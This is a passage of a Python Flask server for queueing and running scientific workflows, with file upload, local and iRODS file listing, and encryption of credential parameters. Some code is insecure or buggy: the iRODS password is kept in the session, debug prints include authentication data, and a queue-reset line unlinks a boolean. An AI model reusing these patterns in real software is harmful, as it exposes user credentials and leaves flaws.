'Server-side',\n 'getFile': copy_server_file,\n 'putFile': copy_server_file,\n },\n '2': {\n 'name': 'iRODS',\n 'getFile': get_irods_file,\n 'putFile': put_irods_file,\n }\n}\n\ndef get_queue_path(working_folder: str) -> str:\n \"\"\" Gets the path to the working queue\n Arguments:\n working_folder: path to the working folder\n Return:\n Returns the path to the queue\n \"\"\"\n return os.path.join(working_folder, 'queue')\n\n\ndef queue_start(workflow_id: str, working_folder: str, recover: bool) -> dict:\n \"\"\" Handles starting queueing a set of processes\n Arguments:\n workflow_id: the workflow ID\n working_folder: string representing the working folder\n recover: flag indicating this is an attempt to restart a workflow\n Return:\n Returns information on this process as a dictionary\n \"\"\"\n print(\"Begin queueing workflow\", workflow_id)\n\n cleanup = False\n queue_path = get_queue_path(working_folder)\n if recover is True:\n # Make sure we have something to recover\n if not os.path.isfile(queue_path):\n msg = f'ERROR: Attempting to recover a missing workflow {working_folder}'\n print (msg)\n raise RuntimeError(f'ERROR: Attempting to recover a missing workflow {working_folder}')\n # TODO: Signal recover\n else:\n # Check if our queue is valid and restart it if not\n starting_queue = True\n if os.path.isfile(queue_path):\n try:\n with open(queue_path, 'r', encoding='utf8') as in_file:\n res = json.load(in_file)\n if isinstance(res, list):\n starting_queue = False\n except Exception:\n pass\n\n if starting_queue:\n os.unlink(starting_queue)\n # TODO: Signal cleanup\n cleanup = True\n\n # Begin the starting queue\n with open(queue_path, 'w', encoding='utf8') as out_file:\n json.dump([], out_file)\n\n return {'recover': recover, 'cleanup': cleanup}\n\n\ndef queue_one_process(workflow_id: str, cur_command: dict, working_folder: str, process_info: dict):\n \"\"\"Handles queueing one command\n Arguments:\n workflow_id: the workflow ID\n cur_command: the command to queue\n working_folder: string representing the working folder\n process_info: dictionary returned by starting process call\n \"\"\"\n print(\"Current command \", cur_command['step'], \" with working folder '\", cur_command['working_folder'], \"'\", cur_command)\n\n print(\" Checking for files\")\n for one_parameter in cur_command['parameters']:\n print(\" \", one_parameter)\n # Skip over special cases\n if 'visibility' in one_parameter and one_parameter['visibility'] == 'server':\n continue\n\n # Handle downloading files\n if one_parameter['type'] == 'file':\n # Check for missing optional files\n if not one_parameter['value'] and 'mandatory' in one_parameter and one_parameter['mandatory'] is False:\n print(' Skipping missing non-mandatory file', one_parameter)\n continue\n\n # Copy mandatory file\n dest_path = os.path.join(cur_command['working_folder'], os.path.basename(one_parameter['value']))\n print(\"Downloading file '\", one_parameter['value'], \"' to '\", dest_path, \"'\")\n print(\" one_parameter: '\", one_parameter)\n one_parameter['getFile'](one_parameter['auth'], one_parameter['value'], dest_path)\n one_parameter['value'] = dest_path\n\n print(\"Run workflow step\", workflow_id, cur_command['step'], cur_command['command'])\n queue_path = get_queue_path(working_folder)\n\n if 'recover' in process_info and process_info['recover'] is True:\n # TODO: Signal recover\n return\n\n with open(queue_path, 'r', encoding='utf8') as in_file:\n current_workflow = json.load(in_file)\n\n print(\"Appending command to workflow: \", current_workflow)\n current_workflow.append(_clean_for_json(cur_command))\n\n print(\"Current workflow: \", current_workflow)\n with open(queue_path, 'w', encoding='utf8') as out_file:\n json.dump(current_workflow, out_file, indent=2)\n\n\ndef queue_finish(workflow_id: str, working_folder: str, process_info: dict):\n \"\"\"Finishes queueing workflow processes\n Arguments:\n workflow_id: the workflow ID\n working_folder: string representing the working folder\n process_info: dictionary returned by starting process call\n \"\"\"\n # pylint: disable=unused-argument\n workflow_script = os.path.join(OUR_LOCAL_PATH, 'workflow_runner.py')\n print(\"Finished queueing\", workflow_id, working_folder, workflow_script)\n cmd = ['python3', workflow_script, working_folder]\n # Deliberately let the command run\n # pylint: disable=consider-using-with\n proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\n print(\"PROC: \", cmd, proc.pid)\n\n\ndef queue_status(workflow_id: str, working_folder: str) -> Union[dict, str, None]:\n \"\"\"Reurns the status of the workflow\n Arguments:\n workflow_id: the ID of the current workflow\n working_folder: the working folder for the workflow\n Return:\n Returns None if the workflow isn't started, an empty status if it's running but has no status yet,\n the current status, or a string indicating the completion status. A generic status is\n returned if the real status can't be obtained\n \"\"\"\n print(\"Checking queue status\", workflow_id, working_folder)\n status_path = os.path.join(working_folder, 'status.json')\n if not os.path.exists(status_path):\n return None\n\n cur_status = None\n caught_exception = False\n for one_attempt in range(0, FILE_PROCESS_QUEUE_STATUS_RETRIES):\n caught_exception = True\n try:\n with open(status_path, 'r', encoding='utf8') as in_file:\n try:\n cur_status = json.load(in_file)\n caught_exception = False\n except json.JSONDecodeError as ex:\n print(\"A JSON decode error was caught while loading status information\", ex)\n except Exception as ex:\n print(\"An unknown exception was caught while checking workflow status\", ex)\n except OSError as ex:\n msg = f'An OS exception was caught while trying to open status file \"{status_path}\"'\n print(msg, ex)\n except Exception as ex:\n msg = f'Unknown exception caught while trying to access the status file \"{status_path}\"'\n print(msg, ex)\n\n if cur_status is None:\n print(\"Sleeping before trying to get status again\")\n time.sleep(FILE_PROCESS_QUEUE_STATUS_TIMEOUTS[one_attempt])\n else:\n break\n\n if cur_status and 'completion' in cur_status:\n cur_status = cur_status['completion']\n\n return cur_status if not caught_exception else {'status': 'Pending...'}\n\n\ndef queue_messages(workflow_id: str, working_folder: str) -> tuple:\n \"\"\"Reurns the messages of the workflow\n Arguments:\n workflow_id: the ID of the current workflow\n working_folder: the working folder for the workflow\n Return:\n A 2-tuple of: normal messages and error messages as separate lists. None is returned if the messages can't be loaded\n \"\"\"\n messages, errors = None, None\n print(\"Checking queue messages\", workflow_id, working_folder)\n\n cur_path = os.path.join(working_folder, 'messages.txt')\n if os.path.exists(cur_path):\n for one_attempt in range(0, FILE_PROCESS_QUEUE_STATUS_RETRIES):\n try:\n with open(cur_path, 'r', encoding='utf8') as in_file:\n messages = in_file.readlines()\n except OSError as ex:\n msg = f'An OS exception was caught while trying to read output file \"{cur_path}\"'\n print(msg, ex)\n except Exception as ex:\n msg = f'An unknown exception was caught while trying to read output file \"{cur_path}\"'\n print(msg, ex)\n\n if messages is None:\n msg = f'Sleeping {one_attempt} before trying to get messages again \"{cur_path}\"'\n print(msg)\n time.sleep(FILE_PROCESS_QUEUE_MESSAGE_TIMEOUTS[one_attempt])\n else:\n break\n\n cur_path = os.path.join(working_folder, 'errors.txt')\n if os.path.exists(cur_path):\n for one_attempt in range(0, FILE_PROCESS_QUEUE_STATUS_RETRIES):\n try:\n with open(cur_path, 'r', encoding='utf8') as in_file:\n errors = in_file.readlines()\n except OSError as ex:\n msg = f'An OS exception was caught while trying to read error file \"{cur_path}\"'\n print(msg, ex)\n except Exception as ex:\n msg = f'An unknown exception was caught while trying to read error file \"{cur_path}\"'\n print(msg, ex)\n\n if errors is None:\n msg = f'Sleeping {one_attempt} before trying to get errors again \"{cur_path}\"'\n print(msg)\n time.sleep(FILE_PROCESS_QUEUE_MESSAGE_TIMEOUTS[one_attempt])\n else:\n break\n\n return messages, errors\n\n\ndef workflow_start(workflow_id: str, workflow_template: dict, data: list, file_handlers: list, working_folder: str, recover: bool=False):\n \"\"\"Starts a workflow\n Arguments:\n workflow_id: the ID of the current workflow\n workflow_template: the template of the workflow to run\n data: the data used by the template for processing\n file_handlers: the list of known file handlers\n working_folder: the working folder for the workflow\n recover: flag to indicate we're trying to recover a workflow that had a problem\n \"\"\"\n # Disable these warnings to keep avoid breaking the preparation into too many small pieces\n # pylint: disable=too-many-nested-blocks, too-many-branches\n workflow = []\n\n for one_step in workflow_template['steps']:\n cur_command = one_step['command']\n parameters = []\n if 'fields' in one_step:\n for one_field in one_step['fields']:\n # Find the data associated with this field\n cur_parameter = {}\n if 'visibility' in one_field and one_field['visibility'] == 'server':\n print(\"SERVER SIDE\", one_field)\n cur_parameter = {'command': one_field['name'], 'field_name': one_field['name'], 'type': one_field['type'],\n 'prev_command_path': one_field['prev_command_path'], 'visibility': one_field['visibility']}\n else:\n for one_data in data:\n if 'command' in one_data and one_data['command'] == cur_command and one_data['field_name'] == one_field['name']:\n print(\"WORKING ON\", one_data, one_field)\n is_mandatory = not 'mandatory' in one_field or one_field ['mandatory']\n if 'data_type' in one_data:\n if one_data['data_type'] in file_handlers:\n cur_parameter = {**one_data, **(file_handlers[one_data['data_type']])}\n cur_parameter['command'] = one_field['name']\n cur_parameter['type'] = one_field['type']\n cur_parameter['mandatory'] = is_mandatory\n break\n else:\n cur_parameter = {'field_name': one_data['field_name'], 'value': one_data[one_data['field_name']],\n 'type': one_field['type'], 'mandatory': is_mandatory}\n print(\" \", cur_parameter)\n break\n\n\n if cur_parameter:\n print(\"HACK: ADDING PARAMETER FOR FIELD\", cur_parameter, one_field)\n parameters.append(cur_parameter)\n else:\n print(\"HACK: SKIPPING PARAMETER FOR FIELD\", one_field)\n if not 'mandatory' in one_field or one_field ['mandatory']:\n print(\"Unable to find parameter for step \", one_step['name'], ' field ', one_field['name'])\n # pylint: disable=consider-using-f-string\n raise RuntimeError('Missing mandatory value for %s on workflow step %s' % (one_field['name'], one_step['name']))\n\n cur_step = {'step': one_step['name'], 'command': one_step['command'], 'parameters': parameters, 'working_folder': working_folder}\n print(\"HACK: CHECKING GIT\", one_step)\n if 'git_repo' in one_step:\n print(\"HACK: FOUND GIT\")\n cur_step['git_repo'] = one_step['git_repo']\n if 'git_branch' in one_step:\n cur_step['git_branch'] = one_step['git_branch']\n print(\"HACK: CUR STEP\",cur_step)\n workflow.append(cur_step)\n\n process_info = queue_start(workflow_id, working_folder, recover)\n print(\"FINAL WORKFLOW: \",workflow)\n for one_process in workflow:\n queue_one_process(workflow_id, one_process, working_folder, process_info)\n queue_finish(workflow_id, working_folder, process_info)\n\n\ndef workflow_status(workflow_id: str, working_folder: str) -> dict:\n \"\"\"Returns the status of the workflow\n Arguments:\n workflow_id: the ID of the current workflow\n working_folder: the working folder for the workflow\n Return:\n Returns a dict containing a status ID and the status returned by the workflow query\n \"\"\"\n print(\"Checking workflow status\", workflow_id, working_folder)\n cur_status = queue_status(workflow_id, working_folder)\n if cur_status is None:\n return {'result': STATUS_NOT_STARTED}\n\n if isinstance(cur_status, dict) and 'running' in cur_status:\n return {'result': STATUS_RUNNNG, 'status': cur_status}\n\n return {'result': STATUS_FINISHED, 'status': str(cur_status)}\n\n\ndef workflow_messages(workflow_id: str, working_folder: str) -> dict:\n \"\"\"Returns the messages from the workflow\n Arguments:\n workflow_id: the ID of the current workflow\n working_folder: the working folder for the workflow\n Return:\n Returns a dict containing any normal and error messages from the workflow query\n \"\"\"\n print(\"Checking workflow messages\", workflow_id, working_folder)\n\n messages, errors = queue_messages(workflow_id, working_folder)\n\n return {'messages': messages if messages is not None else [],\n 'errors': errors if errors is not None else []}\n\n\ndef workflow_has_secure_parameters(params: list) -> bool:\n \"\"\"Returns whether or not a parameter contains sensitive information\n Arguments:\n params - the list of parameters to check\n Returns:\n Returns True if a known sensitive parameter is detected and False otherwise\n \"\"\"\n return_value = False\n for one_param in params:\n if isinstance(one_param, dict) and 'auth' in one_param:\n if one_param['auth']:\n return_value = True\n break\n\n return return_value\n\n\ndef secure_workflow_parameters(params: list, passcode: str) -> list:\n \"\"\"Secures workflow parameters by encrypting sensitive information\n Arguments:\n params - the list of parameters to secure\n passcode - the passcode to use to secure information\n Returns:\n A list of secured parameters\n \"\"\"\n crypt = None\n return_list = []\n for one_param in params:\n if isinstance(one_param, dict) and 'auth' in one_param and one_param['auth']:\n if crypt is None:\n crypt = Crypt(ENCRYPTION_SALT)\n\n new_param = copy.copy(one_param)\n new_param['auth'] = crypt.encrypt(json.dumps(new_param['auth']), passcode)\n return_list.append(new_param)\n else:\n return_list.append(one_param)\n\n return return_list\n\n\ndef unsecure_workflow_parameters(params: list, passcode: str, raise_on_error: bool = False) -> list:\n \"\"\"Converts encryption from sensitive workflow parameters\n Arguments:\n params - the parameters to make clear text\n passcode - the passcode that was used to secure information (used to make plain again)\n raise_on_error - errors will raise an exception when set to True; defaults to False\n Returns:\n The list of unsecured parameters\n \"\"\"\n crypt = None\n return_list = []\n for one_param in params:\n if isinstance(one_param, dict) and 'auth' in one_param and isinstance(one_param['auth'], str):\n if crypt is None:\n crypt = Crypt(ENCRYPTION_SALT)\n\n new_param = copy.copy(one_param)\n try:\n plain_text = crypt.decrypt(new_param['auth'], passcode)\n new_param['auth'] = json.loads(plain_text)\n except ValueError as ex:\n print('Value exception caught while trying to load secured \"auth\" information from workflow:', new_param['auth'])\n print(ex)\n if raise_on_error:\n raise ex\n print('Keeping original value')\n return_list.append(new_param)\n else:\n return_list.append(one_param)\n\n return return_list\n\n\n@app.after_request\ndef add_cors_headers(response):\n \"\"\"Appends CORS headers to a response\n Arguments:\n response: the response to append headers to\n Notes:\n Called automatically due to app.after_request decoration\n \"\"\"\n response.headers.add('Access-Control-Allow-Credentials', 'true')\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type')\n response.headers.add('Access-Control-Allow-Headers', 'Cache-Control')\n response.headers.add('Access-Control-Allow-Headers', 'X-Requested-With')\n response.headers.add('Access-Control-Allow-Headers', 'Authorization')\n response.headers.add('Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, DELETE')\n return response\n\n\n@app.route('/')\n@cross_origin()\ndef index():\n \"\"\"Default page\"\"\"\n print(\"RENDERING TEMPLATE\")\n return render_template(DEFAULT_TEMPLATE_PAGE)\n\n\n@app.route('/')\n@cross_origin()\ndef sendfile(filename: str):\n \"\"\"Return root files\"\"\"\n print(\"RETURN FILENAME:\",filename)\n\n fullpath = os.path.realpath(os.path.join(RESOURCE_START_PATH, filename.lstrip('/')))\n print(\" FILE PATH:\", fullpath)\n\n # Make sure we're only serving something that's in the same location that we are in and that it exists\n if not fullpath or not os.path.exists(fullpath) or not fullpath.startswith(RESOURCE_START_PATH):\n return 'Resource not found', 404\n\n return send_file(fullpath)\n\n\n@app.route('/static/css/')\n@cross_origin()\ndef sendcss(filename: str):\n \"\"\"Return CSS\"\"\"\n print(\"RETURN CSS:\",filename)\n\n fullpath = os.path.realpath(os.path.join(RESOURCE_START_PATH, 'css', filename))\n\n if not filename or not os.path.exists(fullpath) or not fullpath.startswith(RESOURCE_START_PATH):\n return 'Resource not found', 404\n\n return send_file(fullpath)\n\n\n@app.route('/static/js/')\n@cross_origin()\ndef sendjs(filename: str):\n \"\"\"Return js\"\"\"\n print(\"RETURN JS:\",filename)\n\n fullpath = os.path.realpath(os.path.join(RESOURCE_START_PATH, 'js', filename))\n\n if not filename or not os.path.exists(fullpath) or not fullpath.startswith(RESOURCE_START_PATH):\n return 'Resource not found', 404\n\n return send_file(fullpath)\n\n\n@app.route('/upload', methods=['PUT'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef upload_file():\n \"\"\"Upload files\"\"\"\n print(\"UPLOADED FILES\", len(request.files))\n if not os.path.exists(FILE_START_PATH):\n os.makedirs(FILE_START_PATH)\n\n # Set the upload folder for this user if it hasn't been set yet\n # pylint: disable=consider-using-with\n if 'upload_folder' not in session or session['upload_folder'] is None or not os.path.isdir(session['upload_folder']):\n session['upload_folder'] = tempfile.mkdtemp(dir=FILE_START_PATH)\n\n loaded_filenames = []\n for file_id in request.files:\n one_file = request.files[file_id]\n save_path = os.path.join(session['upload_folder'], secure_filename(one_file.filename))\n if os.path.exists(save_path):\n os.unlink(save_path)\n one_file.save(save_path)\n loaded_filenames.append(one_file.filename)\n\n return json.dumps(loaded_filenames)\n\n\ndef _handle_files_get_path(working_path: str, upload_folder: str, additional_folders: dict) -> Optional[str]:\n \"\"\"Returns the path to search when returning server files list\"\"\"\n # Check if it's an additional path as defined on startup\n if len(working_path) > 1:\n dir_name = Path(working_path).parts[1]\n if additional_folders and dir_name in additional_folders:\n return os.path.join(additional_folders[dir_name], working_path[len(dir_name) + 2:])\n\n # Might be a user specific path\n if working_path[0] == '/':\n working_path = '.' + working_path\n cur_path = os.path.abspath(os.path.join(upload_folder, working_path))\n if not cur_path.startswith(upload_folder):\n return None\n\n return cur_path\n\n\n@app.route('/server/files', methods=['GET'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef handle_files() -> tuple:\n \"\"\"Handles listing folder contents\n Request args:\n path: the relative path to list\n file_filter: the filter to apply to the returned names\n \"\"\"\n print(\"LIST FILES\")\n return_names = []\n have_error = False\n\n path = request.args['path']\n file_filter = request.args['filter']\n\n if len(path) <= 0:\n print(f'Zero length path requested {path}', flush=True)\n return 'Resource not found', 404\n\n # Set the upload folder for this user if it hasn't been set yet\n # pylint: disable=consider-using-with\n if 'upload_folder' not in session or session['upload_folder'] is None or not os.path.isdir(session['upload_folder']):\n session['upload_folder'] = tempfile.mkdtemp(dir=FILE_START_PATH)\n\n working_path = normalize_path(path)\n try:\n cur_path = _handle_files_get_path(working_path, session['upload_folder'], ADDITIONAL_LOCAL_FOLDERS)\n if not cur_path:\n print(f'Invalid path requested: \"{path}\"', flush=True)\n return 'Resource not found', 400\n except FileNotFoundError as ex:\n print(\"A file not found exception was caught:\", ex)\n have_error = True\n\n if have_error:\n return 'Resource not found', 404\n\n for one_file in os.listdir(cur_path):\n file_path = os.path.join(cur_path, one_file)\n if not one_file[0] == '.' and (not file_filter or (file_filter and fnmatch.fnmatch(one_file, file_filter))):\n return_names.append({'name': one_file,\n 'path': os.path.join(path, one_file),\n 'size': os.path.getsize(file_path),\n 'date': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(os.path.getmtime(file_path))),\n 'type': 'folder' if os.path.isdir(file_path) else 'file'\n })\n\n if ADDITIONAL_LOCAL_FOLDERS and path == '/':\n for one_name, _ in ADDITIONAL_LOCAL_FOLDERS.items():\n return_names.append({'name': one_name,\n 'path': '/' + one_name,\n 'size': 0,\n 'date': '',\n 'type': 'folder'\n })\n\n return json.dumps(return_names)\n\n\n@app.route('/irods/connect', methods=['POST'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef handle_irods_connect() -> tuple:\n \"\"\"Handles connecting to the iRODS server\n Request args:\n host: the CyVerse host to access\n port: the port associated with the host\n zone: the zone of the user account\n user: the user name associated with the account\n password: \n Returns:\n The success establishing a connection to the server\n \"\"\"\n have_error = False\n host, port, zone, user, password = None, None, None, None, None\n\n # Get the fields from the request\n try:\n host = request.form.get('host')\n port = request.form.get('port')\n zone = request.form.get('zone')\n user = request.form.get('user')\n password = request.form.get('password')\n\n if None in [host, port, zone, user, password]:\n have_error = True\n except ValueError as ex:\n print(\"A value exception was caught while fetching form data:\", ex)\n have_error = True\n\n if have_error:\n print (\"Missing or bad value: Host:\", str(host), \" Port:\", str(port), \" Zone:\", str(zone), \" User:\",\n str(user), \" Password:\", ('***' if password else str(password)))\n return 'iRODS fields are missing or invalid', 400\n\n session['connection'] = {'host': host, 'port': port, 'user': user, 'password': password, 'zone': zone}\n\n return {'path': f'/{zone}/home/{user}'}\n\n\n@app.route('/irods/files', methods=['GET'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef handle_irods_files() -> tuple:\n \"\"\"Handles listing folder contents\n Request args:\n path: the relative path to list\n file_filter: the filter to apply to the returned names\n \"\"\"\n return_names = []\n\n path = request.args['path']\n file_filter = request.args['filter']\n\n conn_info = session['connection']\n conn = iRODSSession(host=conn_info['host'], port=conn_info['port'], user=conn_info['user'],\n password=conn_info['password'], zone=conn_info['zone'])\n\n if len(path) <= 0:\n print('Zero length path requested {path}', flush=True)\n return 'Resource not found', 404\n\n try:\n col = conn.collections.get(path)\n for one_obj in col.data_objects:\n if not one_obj.name == '.' and (not file_filter or (file_filter and fnmatch.fnmatch(one_obj.name, file_filter))):\n # pylint: disable=consider-using-f-string\n return_names.append({'name': one_obj.name,\n 'path': one_obj.path,\n 'size': one_obj.size,\n 'date': '{0:%Y-%m-%d %H:%M:%S}'.format(one_obj.modify_time),\n 'type': 'file'\n })\n\n for one_obj in col.subcollections:\n return_names.append({'name': one_obj.name,\n 'path': one_obj.path,\n 'size': 0,\n 'date': '',\n 'type': 'folder'\n })\n\n except irods.exception.NetworkException as ex:\n print('Network exception caught for iRODS listing: ', path, ex)\n return f'Unable to complete iRODS listing request: {path}', 504\n except irods.exception.CAT_INVALID_AUTHENTICATION as ex:\n print('Invalid authentication exception caught for iRODS listing: ', path, ex)\n return f'Invalid password specified for iRODS listing request: {path}', 401\n except irods.exception.CAT_INVALID_USER as ex:\n print('Invalid user exception caught for iRODS listing: ', path, ex)\n return f'Invalid user specified for iRODS listing request: {path}', 401\n\n return json.dumps(return_names)\n\n\n@app.route('/workflow/definitions', methods=['GET'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef handle_workflow_definitions() -> tuple:\n \"\"\"Handles returning the workflows as JSON\n \"\"\"\n print(\"Workflow definitions\")\n\n return json.dumps(WORKFLOW_DEFINITIONS)\n\n\ndef _handle_workflow_start_save(workflow_save_path: str, params_save_path: str, cur_workflow: dict, workflow_params: list) -> None:\n \"\"\"Writes the workflow data to files\n Arguments:\n workflow_save_path - the path to save the current workflow data\n params_save_path - the path to save workflow parameters to\n cur_workflow - the current workflow\n workflow_params - the workflow parameters to save\n \"\"\"\n with open(workflow_save_path, 'w', encoding='utf8') as out_file:\n json.dump(cur_workflow, out_file)\n\n with open(params_save_path, 'w', encoding='utf8') as out_file:\n json.dump(workflow_params, out_file)\n\n\ndef _handle_workflow_start_find(workflow_data: dict) -> dict:\n \"\"\"Attempts to find the requested workflow using the workflow data passed on the handle_workflow_start() call\n Arguments:\n workflow_data - the workflow data to find the workflow for\n \"\"\"\n cur_workflow = None\n\n for one_workflow in WORKFLOW_DEFINITIONS:\n if one_workflow['id'] == workflow_data['id']:\n cur_workflow = one_workflow\n break\n\n # If we can't find the workflow, check for uploaded workflows\n if cur_workflow is None and 'workflow_files' in session and session['workflow_files'] is not None:\n if workflow_data['id'] in session['workflow_files']:\n workflow_file_path = os.path.join(session['workflow_folder'], session['workflow_files'][workflow_data['id']])\n if os.path.exists(workflow_file_path):\n try:\n with open(workflow_file_path, 'r', encoding='utf8') as in_file:\n cur_workflow = json.load(in_file)\n except json.JSONDecodeError as ex:\n # pylint: disable=consider-using-f-string\n msg = 'ERROR: A JSON decode error was caught trying to run file \"%s\"' % os.path.basename(workflow_file_path)\n print(msg, ex)\n except Exception as ex:\n # pylint: disable=consider-using-f-string\n msg = 'ERROR: An unknown exception was caught trying to run file \"%s\"' % os.path.basename(workflow_file_path)\n print(msg, ex)\n\n # See if we were sent the workflow\n if cur_workflow is None and 'workflow' in workflow_data:\n cur_workflow = workflow_data['workflow']\n\n return cur_workflow\n\n\n@app.route('/workflow/start', methods=['POST'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef handle_workflow_start() -> tuple:\n \"\"\"Handles starting a workflow\n Request body:\n config: the workflow configuration to run\n \"\"\"\n print(\"Workflow start\")\n cur_workflow = None\n\n workflow_data = request.get_json(force=True)\n\n # Set the workflow folder for this user if it hasn't been set yet\n # pylint: disable=consider-using-with\n if 'workflow_folder' not in session or session['workflow_folder'] is None or not os.path.isdir(session['workflow_folder']):\n session['workflow_folder'] = tempfile.mkdtemp(dir=WORKFLOW_FILE_START_PATH)\n\n # Set the upload folder for this user if it hasn't been set yet\n # pylint: disable=consider-using-with\n if 'upload_folder' not in session or session['upload_folder'] is None or not os.path.isdir(session['upload_folder']):\n session['upload_folder'] = tempfile.mkdtemp(dir=FILE_START_PATH)\n\n # Find the workflow\n cur_workflow = _handle_workflow_start_find(workflow_data)\n\n # Make sure we can find the workflow\n if cur_workflow is None:\n # pylint: disable=consider-using-f-string\n msg = \"Unable to find workflow associated with workflow ID %s\" % (str(workflow_data['id']))\n print(msg)\n return msg, 400 # Bad request\n\n # Start the process of getting the files\n workflow_id = uuid.uuid4().hex\n working_dir = os.path.join(WORKFLOW_RUN_PATH, workflow_id)\n os.makedirs(working_dir, exist_ok=True)\n\n # Check if we need to decrypt some data\n if 'workflow' in workflow_data and 'passcode' in workflow_data['workflow']:\n print(\"HACK: unsecuring parameters before starting workflow\")\n workflow_params = unsecure_workflow_parameters(workflow_data['params'], workflow_data['workflow']['passcode'])\n else:\n workflow_params = workflow_data['params']\n\n cur_workflow['id'] = workflow_id\n workflow_start(workflow_id, cur_workflow, workflow_params, FILE_HANDLERS, working_dir)\n\n _handle_workflow_start_save(os.path.join(working_dir, '_workflow'), os.path.join(working_dir, '_params'), cur_workflow,\n workflow_data['params'])\n\n # Keep workflow IDs in longer term storage\n if 'workflows' not in session or session['workflows'] is None:\n session['workflows'] = [workflow_id,]\n else:\n updated_workflows = session['workflows']\n updated_workflows.append(workflow_id)\n session['workflows'] = updated_workflows\n session[workflow_id] = cur_workflow\n\n return json.dumps({'id': workflow_id, 'start_ts': datetime.datetime.now().isoformat().split('.')[0]})\n\n\n@app.route('/workflow/recover', methods=['GET'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef handle_workflow_recover() -> tuple:\n \"\"\"Attempts to recover workflows\n \"\"\"\n if 'workflows' in session:\n known_workflows = session['workflows']\n else:\n known_workflows = []\n found_workflow_ids = []\n if known_workflows:\n for one_workflow_id in known_workflows:\n working_dir = os.path.join(WORKFLOW_RUN_PATH, one_workflow_id)\n workflow_params = os.path.join(working_dir, '_params')\n workflow_file = os.path.join(working_dir, '_workflow')\n # Disable the pylint check here to allow all the files to be checked on one line\n # pylint: disable=too-many-boolean-expressions\n if os.path.exists(working_dir) and os.path.isdir(working_dir) and os.path.exists(workflow_params) \\\n and os.path.isfile(workflow_params) and os.path.exists(workflow_file) and os.path.isfile(workflow_file):\n # Recover the workflow\n found_workflow_ids.append(one_workflow_id)\n\n # We now have a list of workflow IDs that are valid\n missing_workflows = list(set(known_workflows) - set(found_workflow_ids))\n\n # Fix up the session information\n session['workflows'] = found_workflow_ids\n for one_missing_id in missing_workflows:\n if one_missing_id in session:\n session.pop(one_missing_id)\n\n # If we have workflows\n all_workflows = []\n for one_workflow_id in found_workflow_ids:\n working_dir = os.path.join(WORKFLOW_RUN_PATH, one_workflow_id)\n workflow_params = os.path.join(working_dir, '_params')\n workflow_file = os.path.join(working_dir, '_workflow')\n with open(workflow_params, 'r', encoding='utf8') as in_file:\n workflow_params = json.load(in_file)\n with open(workflow_file, 'r', encoding='utf8') as in_file:\n found_workflow = json.load(in_file)\n\n workflow_data = {\n 'id': one_workflow_id,\n 'params': workflow_params,\n 'workflow': found_workflow,\n 'status': workflow_status(one_workflow_id, working_dir)\n }\n\n all_workflows.append(workflow_data)\n\n return json.dumps(all_workflows)\n\n\n@app.route('/workflow/delete/', methods=['PUT'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef handle_workflow_delete(workflow_id: str) -> tuple:\n \"\"\"Deletes the workflow, if it's finished\n Arguments:\n workflow_id: the id of the workflow to delete\n \"\"\"\n try:\n print(\"Workflow delete\", workflow_id)\n cur_workflows = session['workflows']\n if not cur_workflows or workflow_id not in cur_workflows:\n msg = f'ERROR: attempt made to access invalid workflow {workflow_id}'\n print(msg)\n return msg, 400 # Bad request\n\n working_dir = os.path.abspath(os.path.join(WORKFLOW_RUN_PATH, workflow_id))\n if not working_dir.startswith(WORKFLOW_RUN_PATH):\n print('Invalid workflow requested: \"{workflow_id}\"', flush=True)\n return 'Resource not found', 404\n\n if os.path.isdir(working_dir):\n # If it's not completed running, return a message\n cur_status = workflow_status(workflow_id, working_dir)\n if not cur_status['result'] == STATUS_FINISHED:\n return 'Workflow is still running', 409\n\n shutil.rmtree(working_dir)\n\n return json.dumps({'id': workflow_id})\n\n except Exception as ex:\n print(\"Exception caught handling workflow delete\", str(ex))\n traceback.print_exc()\n return str(ex), 500 # Server error\n\n\n@app.route('/workflow/status/', methods=['GET'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef handle_workflow_status(workflow_id: str) -> tuple:\n \"\"\"Returns the status of a workflow\n Arguments:\n workflow_id: the id of the workflow to query\n \"\"\"\n try:\n print(\"Workflow status\", workflow_id)\n cur_workflows = session['workflows']\n if not cur_workflows or workflow_id not in cur_workflows:\n msg = f'ERROR: attempt made to access invalid workflow {workflow_id}'\n print(msg)\n return msg, 400 # Bad request\n\n working_dir = os.path.abspath(os.path.join(WORKFLOW_RUN_PATH, workflow_id))\n if not working_dir.startswith(WORKFLOW_RUN_PATH):\n print('Invalid workflow requested: \"{workflow_id}\"', flush=True)\n return 'Resource not found', 404\n\n if not os.path.isdir(working_dir):\n msg = \"ERROR: requested workflow no longer exists\"\n print(msg)\n return msg, 404 # Not found\n\n return json.dumps(workflow_status(workflow_id, working_dir))\n except Exception as ex:\n print(\"Exception caught handling workflow status\", str(ex))\n traceback.print_exc()\n return str(ex), 500 # Server error\n\n\n@app.route('/workflow/messages/', methods=['GET'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef get_workflow_messages(workflow_id: str) -> tuple:\n \"\"\"Returns the messages from the workflow\n Arguments:\n workflow_id: the id of the workflow to query\n \"\"\"\n try:\n print(\"Workflow messges\", workflow_id)\n cur_workflows = session['workflows']\n if not cur_workflows or workflow_id not in cur_workflows:\n msg = f'ERROR: attempt made to access invalid workflow {workflow_id}'\n print(msg)\n return msg, 400 # Bad request\n\n working_dir = os.path.abspath(os.path.join(WORKFLOW_RUN_PATH, workflow_id))\n if not working_dir.startswith(WORKFLOW_RUN_PATH):\n print(f'Invalid workflow requested: \"{workflow_id}\"', flush=True)\n return 'Resource not found', 404\n\n if not os.path.isdir(working_dir):\n msg = \"ERROR: requested workflow no longer exists\"\n print(msg)\n return msg, 404 # Not found\n\n return json.dumps(workflow_messages(workflow_id, working_dir))\n 